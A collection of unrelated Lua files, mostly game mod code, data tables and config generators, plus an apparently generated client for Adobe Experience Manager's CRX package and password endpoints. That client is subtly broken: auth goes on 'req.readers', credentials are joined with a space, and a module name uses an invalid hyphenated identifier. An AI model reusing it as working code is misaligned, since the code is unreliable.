timer.Simple(0, function() self:TriggerOutput("MapSettingsSpawned", self) end)
end
function ENT:KeyValue(k, v)
if k == "cbar_doors" then
Dev(2, "ttt_map_settings: crowbar door unlocking = " .. v)
local opens = (v == "1")
GAMEMODE.crowbar_unlocks[OPEN_DOOR] = opens
GAMEMODE.crowbar_unlocks[OPEN_ROT] = opens
elseif k == "cbar_buttons" then
Dev(2, "ttt_map_settings: crowbar button unlocking = " .. v)
GAMEMODE.crowbar_unlocks[OPEN_BUT] = (v == "1")
elseif k == "cbar_other" then
Dev(2, "ttt_map_settings: crowbar movelinear unlocking = " .. v)
GAMEMODE.crowbar_unlocks[OPEN_NOTOGGLE] = (v == "1")
elseif k == "plymodel" and v != "" then -- can ignore if empty
if util.IsValidModel(v) then
util.PrecacheModel(v)
GAMEMODE.force_plymodel = v
Dev(2, "ttt_map_settings: set player model to be " .. v)
else
Dev(2, "ttt_map_settings: FAILED to set player model due to invalid path: " .. v)
end
elseif k == "propspec_named" then
Dev(2, "ttt_map_settings: propspec possessing named props = " .. v)
GAMEMODE.propspec_allow_named = (v == "1")
elseif k == "MapSettingsSpawned" or k == "RoundEnd" or k == "RoundPreparation" or k == "RoundStart" then
self:StoreOutput(k, v)
end
end
function ENT:AcceptInput(name, activator, caller, data)
if name == "SetPlayerModels" then
local mdlname = tostring(data)
if not mdlname then
ErrorNoHalt("ttt_map_settings: Invalid parameter to SetPlayerModels input!\n")
return false
elseif not util.IsValidModel(mdlname) then
ErrorNoHalt("ttt_map_settings: Invalid model given: " .. mdlname .. "\n")
return false
end
GAMEMODE.force_plymodel = Model(mdlname)
Dev(2, "ttt_map_settings: input set player model to be " .. mdlname)
return true
end
end
-- Fire an output when the round changes
function ENT:RoundStateTrigger(r, data)
if r == ROUND_PREP then
self:TriggerOutput("RoundPreparation", self)
elseif r == ROUND_ACTIVE then
self:TriggerOutput("RoundStart", self)
elseif r == ROUND_POST then
-- RoundEnd has the type of win condition as param
self:TriggerOutput("RoundEnd", self, tostring(data))
end
end
|
object_tangible_food_generic_dish_karkan_ribenes = object_tangible_food_generic_shared_dish_karkan_ribenes:new {
}
ObjectTemplates:addTemplate(object_tangible_food_generic_dish_karkan_ribenes, "object/tangible/food/generic/dish_karkan_ribenes.iff")
|
KethoWowpedia.patch.toy = {
[680] = "8.0.1",
[682] = "8.0.1",
[683] = "8.0.1",
[684] = "8.0.1",
[685] = "8.0.1",
[686] = "8.0.1",
[787] = "8.0.1",
[788] = "8.0.1",
[789] = "8.0.1",
[790] = "8.0.1",
[791] = "8.0.1",
[792] = "8.0.1",
[793] = "8.0.1",
[795] = "8.0.1",
[796] = "8.0.1",
[797] = "8.0.1",
[798] = "8.0.1",
[799] = "8.0.1",
[800] = "8.0.1",
[801] = "8.0.1",
[802] = "8.0.1",
[803] = "8.0.1",
[804] = "8.0.1",
[805] = "8.0.1",
[806] = "8.0.1",
[807] = "8.0.1",
[808] = "8.0.1",
[809] = "8.0.1",
[810] = "8.0.1",
[811] = "8.0.1",
[812] = "8.0.1",
[813] = "8.0.1",
[814] = "8.0.1",
[815] = "8.0.1",
[816] = "8.0.1",
[817] = "8.0.1",
[819] = "8.0.1",
[820] = "8.0.1",
[821] = "8.0.1",
[822] = "8.0.1",
[823] = "8.1.0",
[824] = "8.1.0",
[827] = "8.0.1",
[828] = "8.0.1",
[829] = "8.0.1",
[830] = "8.0.1",
[831] = "8.0.1",
[832] = "8.0.1",
[833] = "8.0.1",
[834] = "8.0.1",
[890] = "8.0.1",
[891] = "8.1.0",
[892] = "8.1.0",
[893] = "8.1.0",
[894] = "8.1.0",
[895] = "8.1.0",
[896] = "8.1.0",
[897] = "8.1.0",
[898] = "8.1.0",
[899] = "8.1.0",
[900] = "8.1.0",
[901] = "8.1.0",
[902] = "8.1.0",
[903] = "8.1.0",
[904] = "8.1.0",
[905] = "8.1.0",
[906] = "8.1.0",
[907] = "8.1.0",
[908] = "8.1.0",
[909] = "8.1.0",
[910] = "8.1.0",
[911] = "8.1.0",
[912] = "8.1.0",
[913] = "8.2.0",
[914] = "8.2.0",
[916] = "8.1.0",
[917] = "8.1.0",
[918] = "8.1.5",
[919] = "8.1.5",
[920] = "8.1.5",
[921] = "8.1.0",
[922] = "8.1.0",
[923] = "8.1.0",
[924] = "8.1.0",
[925] = "8.1.0",
[926] = "8.2.0",
[927] = "8.1.0",
[928] = "8.1.0",
[929] = "8.1.0",
[930] = "8.1.0",
[931] = "8.1.0",
[940] = "8.2.0",
[941] = "8.1.5",
[942] = "8.1.5",
[943] = "8.1.5",
[944] = "8.2.0",
[945] = "8.2.0",
[946] = "8.2.0",
[947] = "8.2.0",
[948] = "8.2.0",
[949] = "8.2.0",
[950] = "8.2.0",
[953] = "8.2.0",
[955] = "8.2.0",
[956] = "8.2.0",
[957] = "8.2.0",
[958] = "8.2.0",
[959] = "8.2.0",
[960] = "8.2.0",
[961] = "8.2.0",
[964] = "8.2.0",
[965] = "8.2.0",
[966] = "8.2.0",
[967] = "8.2.0",
[968] = "8.2.0",
[969] = "8.2.0",
[970] = "8.2.0",
[971] = "8.2.0",
[972] = "8.2.0",
[973] = "8.2.0",
[974] = "8.2.0",
[975] = "8.2.0",
[976] = "8.2.0",
[977] = "8.2.0",
[978] = "8.2.0",
[979] = "8.2.0",
[980] = "8.2.0",
[981] = "8.2.5",
[982] = "8.2.5",
[983] = "8.2.5",
[984] = "8.2.5",
[985] = "8.3.0",
[986] = "8.3.0",
[991] = "9.0.1",
[992] = "9.0.1",
[993] = "9.0.1",
[994] = "8.3.0",
[995] = "8.3.0",
[996] = "8.3.0",
[997] = "8.3.0",
[998] = "8.3.0",
[999] = "8.3.0",
[1000] = "8.3.0",
[1001] = "8.3.0",
[1002] = "8.3.0",
[1003] = "8.3.0",
[1005] = "8.3.0",
[1006] = "8.3.0",
[1007] = "8.3.0",
[1062] = "9.0.1",
[1063] = "9.0.1",
[1064] = "9.0.1",
[1065] = "9.0.1",
[1066] = "9.0.1",
[1067] = "9.0.1",
[1068] = "9.0.1",
[1069] = "9.0.1",
[1070] = "9.0.1",
[1071] = "9.0.1",
[1072] = "9.0.1",
[1073] = "9.0.1",
[1074] = "9.0.1",
[1075] = "9.0.1",
[1076] = "9.0.1",
[1077] = "9.0.1",
[1078] = "9.0.1",
[1079] = "9.0.1",
[1080] = "9.0.1",
[1081] = "9.0.1",
[1082] = "9.0.1",
[1083] = "9.0.1",
[1084] = "9.0.1",
[1085] = "9.0.1",
[1086] = "9.0.1",
[1087] = "9.0.2",
[1088] = "9.0.2",
[1089] = "9.0.2",
[1090] = "9.0.2",
[1091] = "9.0.2",
[1092] = "9.0.2",
[1093] = "9.0.2",
[1094] = "9.0.2",
[1095] = "9.0.2",
[1096] = "9.0.2",
[1097] = "9.0.2",
[1098] = "9.0.2",
[1099] = "9.0.2",
[1100] = "9.0.2",
[1101] = "9.0.2",
[1102] = "9.0.2",
[1103] = "9.0.2",
[1104] = "9.0.2",
[1105] = "9.0.2",
[1106] = "9.0.2",
[1107] = "9.0.2",
[1108] = "9.0.2",
[1109] = "9.0.2",
[1110] = "9.0.2",
[1111] = "9.0.2",
[1112] = "9.0.2",
[1113] = "9.0.2",
[1114] = "9.1.0",
[1115] = "9.1.0",
[1116] = "9.1.0",
[1117] = "9.1.0",
[1118] = "9.1.0",
[1119] = "9.1.0",
[1120] = "9.1.0",
[1121] = "9.1.0",
[1122] = "9.1.0",
[1123] = "9.1.0",
[1124] = "9.1.0",
[1125] = "9.1.0",
[1126] = "9.1.0",
[1127] = "9.1.0",
[1128] = "9.1.0",
[1129] = "9.1.0",
[1130] = "9.1.0",
[1131] = "9.1.0",
[1132] = "9.1.0",
[1133] = "9.1.0",
[1134] = "9.1.0",
[1135] = "9.1.0",
[1137] = "9.1.0",
[1138] = "9.1.0",
}
|
local settings = ...
local concat = table.concat
local insert = table.insert
local sprintf = string.format
local rep = string.rep
local minetest_example_header = [[
# This file contains a list of all available settings and their default value for minetest.conf
# By default, all the settings are commented and not functional.
# Uncomment settings by removing the preceding #.
# minetest.conf is read by default from:
# ../minetest.conf
# ../../minetest.conf
# Any other path can be chosen by passing the path as a parameter
# to the program, eg. "minetest.exe --config ../minetest.conf.example".
# Further documentation:
# http://wiki.minetest.net/
]]
local function create_minetest_conf_example()
local result = { minetest_example_header }
for _, entry in ipairs(settings) do
if entry.type == "category" then
if entry.level == 0 then
insert(result, "#\n# " .. entry.name .. "\n#\n\n")
else
insert(result, rep("#", entry.level))
insert(result, "# " .. entry.name .. "\n\n")
end
else
if entry.comment ~= "" then
for _, comment_line in ipairs(entry.comment:split("\n", true)) do
insert(result, "# " .. comment_line .. "\n")
end
end
insert(result, "# type: " .. entry.type)
if entry.min then
insert(result, " min: " .. entry.min)
end
if entry.max then
insert(result, " max: " .. entry.max)
end
if entry.values then
insert(result, " values: " .. concat(entry.values, ", "))
end
if entry.possible then
insert(result, " possible values: " .. entry.possible:gsub(",", ", "))
end
insert(result, "\n")
local append
if entry.default ~= "" then
append = " " .. entry.default
end
insert(result, sprintf("# %s =%s\n\n", entry.name, append or ""))
end
end
return concat(result)
end
local translation_file_header = [[
// This file is automatically generated
// It conatins a bunch of fake gettext calls, to tell xgettext about the strings in config files
// To update it, refer to the bottom of builtin/mainmenu/dlg_settings_advanced.lua
fake_function() {]]
local function create_translation_file()
local result = { translation_file_header }
for _, entry in ipairs(settings) do
if entry.type == "category" then
insert(result, sprintf("\tgettext(%q);", entry.name))
else
if entry.readable_name then
insert(result, sprintf("\tgettext(%q);", entry.readable_name))
end
if entry.comment ~= "" then
local comment_escaped = entry.comment:gsub("\n", "\\n")
comment_escaped = comment_escaped:gsub("\"", "\\\"")
insert(result, "\tgettext(\"" .. comment_escaped .. "\");")
end
end
end
insert(result, "}\n")
return concat(result, "\n")
end
local file = assert(io.open("minetest.conf.example", "w"))
file:write(create_minetest_conf_example())
file:close()
file = assert(io.open("src/settings_translation_file.cpp", "w"))
file:write(create_translation_file())
file:close()
|
--[[
Adobe Experience Manager (AEM) API
Swagger AEM is an OpenAPI specification for Adobe Experience Manager (AEM) API
OpenAPI spec version: 3.2.0-pre.0
Contact: opensource@shinesolutions.com
Generated by: https://openapi-generator.tech
]]
--package openapi-client
local http_request = require "http.request"
local http_util = require "http.util"
local dkjson = require "dkjson"
local basexx = require "basexx"
-- model import
local openapi-client_install_status = require "openapi-client.model.install_status"
local crx_api = {}
local crx_api_mt = {
__name = "crx_api";
__index = crx_api;
}
local function new_crx_api(host, basePath, schemes)
local schemes_map = {}
for _,v in ipairs(schemes) do
schemes_map[v] = v
end
local default_scheme = schemes_map.https or schemes_map.http
return setmetatable({
host = host;
basePath = basePath or "http://localhost";
schemes = schemes_map;
default_scheme = default_scheme;
http_username = nil;
http_password = nil;
api_key = {};
access_token = nil;
}, crx_api_mt)
end
function crx_api:get_crxde_status()
local req = http_request.new_from_uri({
scheme = self.default_scheme;
host = self.host;
path = string.format("%s/crx/server/crx.default/jcr:root/.1.json",
self.basePath);
})
-- set HTTP verb
req.headers:upsert(":method", "GET")
-- TODO: create a function to select proper content-type
-- ref: https://openapi-generator.tech/pull/6252#issuecomment-321199879
--local var_accept = { "plain/text" }
req.headers:upsert("content-type", "plain/text")
-- HTTP basic auth
req.readers:upsert("authorization", "Basic " .. basexx.to_base64(self.http_username .. " " .. self.http_password))
-- make the HTTP call
local headers, stream, errno = req:go()
if not headers then
return nil, stream, errno
end
local http_status = headers:get(":status")
if http_status:sub(1,1) == "2" then
local body, err, errno2 = stream:get_body_as_string()
-- exception when getting the HTTP body
if not body then
return nil, err, errno2
end
stream:shutdown()
local result, _, err3 = dkjson.decode(body)
-- exception when decoding the HTTP body
if result == nil then
return nil, err3
end
return result, headers
else
local body, err, errno2 = stream:get_body_as_string()
if not body then
return nil, err, errno2
end
stream:shutdown()
-- return the error message (http body)
return nil, http_status, body
end
end
function crx_api:get_install_status()
local req = http_request.new_from_uri({
scheme = self.default_scheme;
host = self.host;
path = string.format("%s/crx/packmgr/installstatus.jsp",
self.basePath);
})
-- set HTTP verb
req.headers:upsert(":method", "GET")
-- TODO: create a function to select proper content-type
-- ref: https://openapi-generator.tech/pull/6252#issuecomment-321199879
--local var_accept = { "application/json" }
req.headers:upsert("content-type", "application/json")
-- HTTP basic auth
req.readers:upsert("authorization", "Basic " .. basexx.to_base64(self.http_username .. " " .. self.http_password))
-- make the HTTP call
local headers, stream, errno = req:go()
if not headers then
return nil, stream, errno
end
local http_status = headers:get(":status")
if http_status:sub(1,1) == "2" then
local body, err, errno2 = stream:get_body_as_string()
-- exception when getting the HTTP body
if not body then
return nil, err, errno2
end
stream:shutdown()
local result, _, err3 = dkjson.decode(body)
-- exception when decoding the HTTP body
if result == nil then
return nil, err3
end
return openapi-client_install_status.cast(result), headers
else
local body, err, errno2 = stream:get_body_as_string()
if not body then
return nil, err, errno2
end
stream:shutdown()
-- return the error message (http body)
return nil, http_status, body
end
end
function crx_api:get_package_manager_servlet()
local req = http_request.new_from_uri({
scheme = self.default_scheme;
host = self.host;
path = string.format("%s/crx/packmgr/service/script.html",
self.basePath);
})
-- set HTTP verb
req.headers:upsert(":method", "GET")
-- TODO: create a function to select proper content-type
-- ref: https://openapi-generator.tech/pull/6252#issuecomment-321199879
--local var_accept = { "text/html" }
req.headers:upsert("content-type", "text/html")
-- HTTP basic auth
req.readers:upsert("authorization", "Basic " .. basexx.to_base64(self.http_username .. " " .. self.http_password))
-- make the HTTP call
local headers, stream, errno = req:go()
if not headers then
return nil, stream, errno
end
local http_status = headers:get(":status")
if http_status:sub(1,1) == "2" then
return nil, headers
else
local body, err, errno2 = stream:get_body_as_string()
if not body then
return nil, err, errno2
end
stream:shutdown()
-- return the error message (http body)
return nil, http_status, body
end
end
function crx_api:post_package_service(cmd)
local req = http_request.new_from_uri({
scheme = self.default_scheme;
host = self.host;
path = string.format("%s/crx/packmgr/service.jsp?cmd=%s",
self.basePath, http_util.encodeURIComponent(cmd));
})
-- set HTTP verb
req.headers:upsert(":method", "POST")
-- TODO: create a function to select proper content-type
-- ref: https://openapi-generator.tech/pull/6252#issuecomment-321199879
--local var_accept = { "text/xml" }
req.headers:upsert("content-type", "text/xml")
-- HTTP basic auth
req.readers:upsert("authorization", "Basic " .. basexx.to_base64(self.http_username .. " " .. self.http_password))
-- make the HTTP call
local headers, stream, errno = req:go()
if not headers then
return nil, stream, errno
end
local http_status = headers:get(":status")
if http_status:sub(1,1) == "2" then
local body, err, errno2 = stream:get_body_as_string()
-- exception when getting the HTTP body
if not body then
return nil, err, errno2
end
stream:shutdown()
local result, _, err3 = dkjson.decode(body)
-- exception when decoding the HTTP body
if result == nil then
return nil, err3
end
return result, headers
else
local body, err, errno2 = stream:get_body_as_string()
if not body then
return nil, err, errno2
end
stream:shutdown()
-- return the error message (http body)
return nil, http_status, body
end
end
function crx_api:post_package_service_json(path, cmd, group_name, package_name, package_version, _charset_, force, recursive, package)
local req = http_request.new_from_uri({
scheme = self.default_scheme;
host = self.host;
path = string.format("%s/crx/packmgr/service/.json/%s?cmd=%s&groupName=%s&packageName=%s&packageVersion=%s&_charset_=%s&force=%s&recursive=%s",
self.basePath, path, http_util.encodeURIComponent(cmd), http_util.encodeURIComponent(group_name), http_util.encodeURIComponent(package_name), http_util.encodeURIComponent(package_version), http_util.encodeURIComponent(_charset_), http_util.encodeURIComponent(force), http_util.encodeURIComponent(recursive));
})
-- set HTTP verb
req.headers:upsert(":method", "POST")
-- TODO: create a function to select proper accept
-- ref: https://openapi-generator.tech/pull/6252#issuecomment-321199879
--local var_content_type = { "multipart/form-data" }
req.headers:upsert("accept", "multipart/form-data")
-- TODO: create a function to select proper content-type
-- ref: https://openapi-generator.tech/pull/6252#issuecomment-321199879
--local var_accept = { "application/json" }
req.headers:upsert("content-type", "application/json")
req:set_body(http_util.dict_to_query({
["package"] = package;
}))
-- HTTP basic auth
req.readers:upsert("authorization", "Basic " .. basexx.to_base64(self.http_username .. " " .. self.http_password))
-- make the HTTP call
local headers, stream, errno = req:go()
if not headers then
return nil, stream, errno
end
local http_status = headers:get(":status")
if http_status:sub(1,1) == "2" then
local body, err, errno2 = stream:get_body_as_string()
-- exception when getting the HTTP body
if not body then
return nil, err, errno2
end
stream:shutdown()
local result, _, err3 = dkjson.decode(body)
-- exception when decoding the HTTP body
if result == nil then
return nil, err3
end
return result, headers
else
local body, err, errno2 = stream:get_body_as_string()
if not body then
return nil, err, errno2
end
stream:shutdown()
-- return the error message (http body)
return nil, http_status, body
end
end
function crx_api:post_package_update(group_name, package_name, version, path, filter, _charset_)
local req = http_request.new_from_uri({
scheme = self.default_scheme;
host = self.host;
path = string.format("%s/crx/packmgr/update.jsp?groupName=%s&packageName=%s&version=%s&path=%s&filter=%s&_charset_=%s",
self.basePath, http_util.encodeURIComponent(group_name), http_util.encodeURIComponent(package_name), http_util.encodeURIComponent(version), http_util.encodeURIComponent(path), http_util.encodeURIComponent(filter), http_util.encodeURIComponent(_charset_));
})
-- set HTTP verb
req.headers:upsert(":method", "POST")
-- TODO: create a function to select proper content-type
-- ref: https://openapi-generator.tech/pull/6252#issuecomment-321199879
--local var_accept = { "application/json" }
req.headers:upsert("content-type", "application/json")
-- HTTP basic auth
req.readers:upsert("authorization", "Basic " .. basexx.to_base64(self.http_username .. " " .. self.http_password))
-- make the HTTP call
local headers, stream, errno = req:go()
if not headers then
return nil, stream, errno
end
local http_status = headers:get(":status")
if http_status:sub(1,1) == "2" then
local body, err, errno2 = stream:get_body_as_string()
-- exception when getting the HTTP body
if not body then
return nil, err, errno2
end
stream:shutdown()
local result, _, err3 = dkjson.decode(body)
-- exception when decoding the HTTP body
if result == nil then
return nil, err3
end
return result, headers
else
local body, err, errno2 = stream:get_body_as_string()
if not body then
return nil, err, errno2
end
stream:shutdown()
-- return the error message (http body)
return nil, http_status, body
end
end
function crx_api:post_set_password(old, plain, verify)
local req = http_request.new_from_uri({
scheme = self.default_scheme;
host = self.host;
path = string.format("%s/crx/explorer/ui/setpassword.jsp?old=%s&plain=%s&verify=%s",
self.basePath, http_util.encodeURIComponent(old), http_util.encodeURIComponent(plain), http_util.encodeURIComponent(verify));
})
-- set HTTP verb
req.headers:upsert(":method", "POST")
-- TODO: create a function to select proper content-type
-- ref: https://openapi-generator.tech/pull/6252#issuecomment-321199879
--local var_accept = { "text/plain" }
req.headers:upsert("content-type", "text/plain")
-- HTTP basic auth
req.readers:upsert("authorization", "Basic " .. basexx.to_base64(self.http_username .. " " .. self.http_password))
-- make the HTTP call
local headers, stream, errno = req:go()
if not headers then
return nil, stream, errno
end
local http_status = headers:get(":status")
if http_status:sub(1,1) == "2" then
local body, err, errno2 = stream:get_body_as_string()
-- exception when getting the HTTP body
if not body then
return nil, err, errno2
end
stream:shutdown()
local result, _, err3 = dkjson.decode(body)
-- exception when decoding the HTTP body
if result == nil then
return nil, err3
end
return result, headers
else
local body, err, errno2 = stream:get_body_as_string()
if not body then
return nil, err, errno2
end
stream:shutdown()
-- return the error message (http body)
return nil, http_status, body
end
end
return {
new = new_crx_api;
}
|
return {
init_effect = "",
name = "测试-运输船-AI切换",
time = 0,
picture = "",
desc = "运输船AI切换",
stack = 1,
id = 60036,
icon = 60036,
last_effect = "lingxing",
effect_list = {
{
type = "BattleBuffAddBuff",
trigger = {
"onUpdate"
},
arg_list = {
buff_id = 60037,
time = 10
}
}
}
}
|
---@class ScriptObject
---[Documentation](https://wowpedia.fandom.com/wiki/UIOBJECT_ScriptObject)
local ScriptObject = {}
---@param scriptType ScriptType
---@param bindingType LE_SCRIPT_BINDING_TYPE
---@return function handler
---[Documentation](https://wowpedia.fandom.com/wiki/API_ScriptObject_GetScript)
function ScriptObject:GetScript(scriptType, bindingType) end
---@param scriptType ScriptType
---@return boolean hasScript
---[Documentation](https://wowpedia.fandom.com/wiki/API_ScriptObject_HasScript)
function ScriptObject:HasScript(scriptType) end
---@param scriptType ScriptType
---@param handler function
---@param bindingType LE_SCRIPT_BINDING_TYPE
---@return boolean success
---[Documentation](https://wowpedia.fandom.com/wiki/API_ScriptObject_HookScript)
function ScriptObject:HookScript(scriptType, handler, bindingType) end
---@param scriptType ScriptType
---@param handler function
---[Documentation](https://wowpedia.fandom.com/wiki/API_ScriptObject_SetScript)
function ScriptObject:SetScript(scriptType, handler) end
|
-- See LICENSE for terms
local options
local mod_Option1
-- fired when settings are changed/init
local function ModOptions()
options = CurrentModOptions
mod_Option1 = options:GetProperty("Option1")
local u = ChoGGi.UserSettings
u.DebugGridOpacity = options:GetProperty("DebugGridOpacity")
u.DebugGridSize = options:GetProperty("DebugGridSize")
if ChoGGi.SettingFuncs.WriteSettings then
ChoGGi.SettingFuncs.WriteSettings()
end
end
-- load default/saved settings
OnMsg.ModsReloaded = ModOptions
-- fired when option is changed
function OnMsg.ApplyModOptions(id)
if id == CurrentModId then
ModOptions()
end
end
local grids_visible
local function ShowGrids()
ChoGGi.ComFuncs.BuildableHexGrid(true)
grids_visible = true
end
local function HideGrids()
ChoGGi.ComFuncs.BuildableHexGrid(false)
grids_visible = false
end
local orig_CursorBuilding_GameInit = CursorBuilding.GameInit
function CursorBuilding.GameInit(...)
if mod_Option1 then
ShowGrids()
end
return orig_CursorBuilding_GameInit(...)
end
local orig_CursorBuilding_Done = CursorBuilding.Done
function CursorBuilding.Done(...)
HideGrids()
return orig_CursorBuilding_Done(...)
end
-- add keybind for toggle
local Actions = ChoGGi.Temp.Actions
Actions[#Actions+1] = {ActionName = T(302535920011583, "Construction Show Hex Buildable Grid"),
ActionId = "ChoGGi.ConstructionShowHexBuildableGrid.ToggleGrid",
OnAction = function()
if grids_visible then
HideGrids()
else
ShowGrids()
end
end,
ActionShortcut = "Numpad 0",
replace_matching_id = true,
ActionBindable = true,
}
|
local _
_ = function()
local _list_0 = things
for _index_0 = 1, #_list_0 do
local x = _list_0[_index_0]
_ = x
end
end
_ = function()
local _accum_0 = { }
local _len_0 = 1
local _list_0 = things
for _index_0 = 1, #_list_0 do
local x = _list_0[_index_0]
_accum_0[_len_0] = x
_len_0 = _len_0 + 1
end
return _accum_0
end
do
local _list_0 = things
for _index_0 = 1, #_list_0 do
local x = _list_0[_index_0]
return x
end
end
do
local _accum_0 = { }
local _len_0 = 1
local _list_0 = things
for _index_0 = 1, #_list_0 do
local x = _list_0[_index_0]
_accum_0[_len_0] = x
_len_0 = _len_0 + 1
end
return _accum_0
end
do
local _tbl_0 = { }
local _list_0 = things
for _index_0 = 1, #_list_0 do
local x, y = _list_0[_index_0]
_tbl_0[x] = y
end
return _tbl_0
end
_ = function()
if a then
if a then
return a
else
return b
end
elseif b then
if a then
return a
else
return b
end
else
if a then
return a
else
return b
end
end
end
do
if a then
if a then
return a
else
return b
end
elseif b then
if a then
return a
else
return b
end
else
if a then
return a
else
return b
end
end
end
_ = function()
local _base_0 = a
local _fn_0 = _base_0.b
return _fn_0 and function(...)
return _fn_0(_base_0, ...)
end
end
do
local _base_0 = a
local _fn_0 = _base_0.b
return _fn_0 and function(...)
return _fn_0(_base_0, ...)
end
end
|
return {
id = "SYG006",
events = {
{
alpha = 0.332,
style = {
text = "司令部对于指挥官在之前战斗中的表现十分赞赏,所以特批开放了第二舰队的编制权限,快跟着我来吧!",
mode = 2,
posY = 0,
dir = -1,
posX = 0
}
},
{
alpha = 0.413,
style = {
text = "前往编队界面编组第二舰队。点击确认直接前往编队界面",
mode = 2,
scene = "BIANDUI",
posY = 0,
dir = -1,
posX = 0
}
},
{
alpha = 0.462,
style = {
text = "点击右侧按钮,切换到第二舰队。指引点击右侧按钮",
mode = 2,
posY = 87,
dir = 1,
posX = 228.09
},
ui = {
hideAnimtor = true,
path = "/UICamera/Canvas/UIMain/FormationUI(Clone)/nextPage",
pathIndex = -1,
triggerType = {
1
},
fingerPos = {
posY = -45.81,
posX = 40.2
}
}
},
{
alpha = 0.442,
style = {
text = "在这里就能编组第二舰队啦",
mode = 2,
posY = 121.8,
dir = -1,
posX = 0
}
},
{
alpha = 0.44,
style = {
text = "战争已经正式打响了,想必接下来的战斗将会越来越艰辛吧,期待您更精彩的发挥哦!",
mode = 2,
posY = 0,
dir = -1,
posX = 0
}
}
}
}
|
print(message)
print("Hello World from Lua")
|
local test = {}
test.after = function()
error("error after...")
end
test.my_test_ok= function()
local value = true
assert( value == true )
end
return test
|
local resource_autoplace = require('resource-autoplace')
data:extend({
{
type = 'resource',
name = 'nm-worm-hole',
icon = '__nauvis-melange__/graphics/icons/worm-hole.png',
icon_size = 64, icon_mipmaps = 4,
flags = {'placeable-neutral'},
collision_box = {{ -1.45, -1.45}, {1.45, 1.45}},
selection_box = {{ -1.5, -1.5}, {1.5, 1.5}},
highlight = true,
minable = {mining_time = 1},
category = 'nm-deep-solid',
minimum = 1,
normal = 1,
--collision_mask = { 'item-layer', 'player-layer', 'water-tile', 'not-colliding-with-itself' },
autoplace = resource_autoplace.resource_autoplace_settings {
name = 'nm-worm-hole',
order = 'c',
base_density = 1,
base_spots_per_km2 = 0.42,
random_probability = 1/128,
random_spot_size_minimum = 1,
random_spot_size_maximum = 1, -- don't randomize spot size
has_starting_area_placement = false,
regular_rq_factor_multiplier = 1
},
stage_counts = {0},
stages = {
sheet = {
filename = '__base__/graphics/entity/worm/worm-integration.png',
priority = 'extra-high',
width = 166,
height = 122,
--frame_count = 4,
variation_count = 1,
--shift = util.by_pixel(0, -2),
hr_version = {
filename = '__base__/graphics/entity/worm/hr-worm-integration.png',
priority = 'extra-high',
width = 332,
height = 240,
--frame_count = 4,
variation_count = 1,
--shift = util.by_pixel(0, -2),
scale = 0.5,
}
}
},
map_color = {r=0.02, g=0.16, b=0.03},
map_grid = false
},
{
type = 'resource',
name = 'nm-pre-spice-mass-ore',
icon = '__nauvis-melange__/graphics/icons/pre-spice-mass-ore.png',
icon_size = 64, icon_mipmaps = 4,
flags = {'placeable-neutral'},
collision_box = {{-1.4, -1.4}, {1.4, 1.4}},
selection_box = {{ -0.5, -0.5}, {0.5, 0.5}},
highlight = true,
minable = { mining_time = 1, result = 'nm-pre-spice-mass' },
category = 'basic-solid',
minimum = 16000,
normal = math.random(16000, 42000),
--collision_mask = { 'item-layer', 'player-layer', 'water-tile', 'not-colliding-with-itself' },
autoplace = resource_autoplace.resource_autoplace_settings {
name = 'nm-pre-spice-mass-ore',
order = 'b',
base_density = 1.2,
base_spots_per_km2 = 0.42,
random_probability = 1/256,
random_spot_size_minimum = 1,
random_spot_size_maximum = 1, -- don't randomize spot size
additional_richness = 4200, -- this increases the total everywhere, so base_density needs to be decreased to compensate
has_starting_area_placement = false,
regular_rq_factor_multiplier = 1
},
stage_counts = {0},
stages = {
sheet = {
filename = '__nauvis-melange__/graphics/entity/pre-spice-mass/pre-spice-mass.png',
priority = 'extra-high',
width = 74,
height = 60,
frame_count = 4,
variation_count = 1,
hr_version = {
filename = '__nauvis-melange__/graphics/entity/pre-spice-mass/hr-pre-spice-mass.png',
priority = 'extra-high',
width = 148,
height = 120,
frame_count = 4,
variation_count = 1,
scale = 0.5,
}
}
},
map_color = {r=0.02, g=0.16, b=0.03},
map_grid = false
}
})
|
local Codes = require 'lib.codes'
local i18n = require 'i18n'
local fun = require 'lib.fun'
local Encoder = {}
local expansion_locale = 'en'
local generics = {
number = function(key)
return function(card) return tonumber(card[key]) or 0 end
end,
number_q = function(key)
return function(card)
return card[key] == '?' and -2 or tonumber(card[key]) or 0
end
end,
combined = function(key)
return function(card)
local v = card[key]
local t = type(v)
if t == 'number' then
return v
elseif t == 'string' then
return Codes.combine(key, v)
else
return 0
end
end
end
}
local encode = {
id = generics.number('id'),
ot = generics.combined('ot'),
alias = generics.number('alias'),
type = generics.combined('type'),
atk = generics.number_q('atk'),
race = generics.combined('race'),
attribute = generics.combined('attribute'),
category = generics.combined('category')
}
for i = 1, 16 do
encode['str' .. i] = function(card)
local strings = card.strings
return strings and strings[i] or ''
end
end
function encode.name(card)
return card.name or ''
end
local PEND_TEMPLATE = '[ %s ]\n%%s\n-------------------\n[ %%s ]\n%%s'
function encode.desc(card)
local p_effect = card['pendulum-effect']
local effect, flavor_t = card.effect, card['flavor-text']
local text, tag = '', ''
local general_locale = i18n.getLocale()
i18n.setLocale(expansion_locale)
local p_text = PEND_TEMPLATE:format(i18n 'make.encoder.pendulum_effect')
if effect then
text, tag = effect, i18n 'make.encoder.monster_effect'
elseif flavor_t then
text, tag = flavor_t, i18n 'make.encoder.flavor_text'
end
i18n.setLocale(general_locale)
return p_effect and p_text:format(p_effect, tag, text) or text
end
function encode.setcode(card, sets)
if tonumber(card.setcode) then return tonumber(card.setcode) end
local setcode = 0
local cardset = type(card.set) == 'string' and card.set or ''
for setid in cardset:gmatch('[%w-_]+') do
local set = sets[setid]
local code = tonumber(set and set.code)
if code then setcode = setcode * 0x10000 + code % 0x10000 end
end
return setcode
end
local generic_def = generics.number_q('def')
function encode.def(card)
local arrows = card['link-arrows']
if type(arrows) == 'string' then
return Codes.combine('link', arrows)
else
return generic_def(card)
end
end
function encode.level(card)
local scales = card['pendulum-scale'] or card['pendulum-scales']
local level = tonumber(card['link-rating'] or card.rank or card.level) or 0
local lsc, rsc = 0, 0
if tonumber(scales) then
scales = tonumber(scales)
lsc, rsc = scales, scales
elseif type(scales) == 'table' then
lsc = tonumber(scales[1]) or 0
rsc = tonumber(scales[2]) or 0
end
return bit.bor(bit.lshift(lsc, 24), bit.lshift(rsc, 16), level)
end
function encode.holo(card)
if card.holo ~= nil then return card.holo and 1 or 0 end
end
function encode.setnumber(card)
if card.setnumber then return tostring(card.setnumber) end
end
function encode.author(card)
if card.author then return tostring(card.author) end
end
function encode.year(card)
return tonumber(card.year)
end
function Encoder.set_locale(locale)
expansion_locale = locale
end
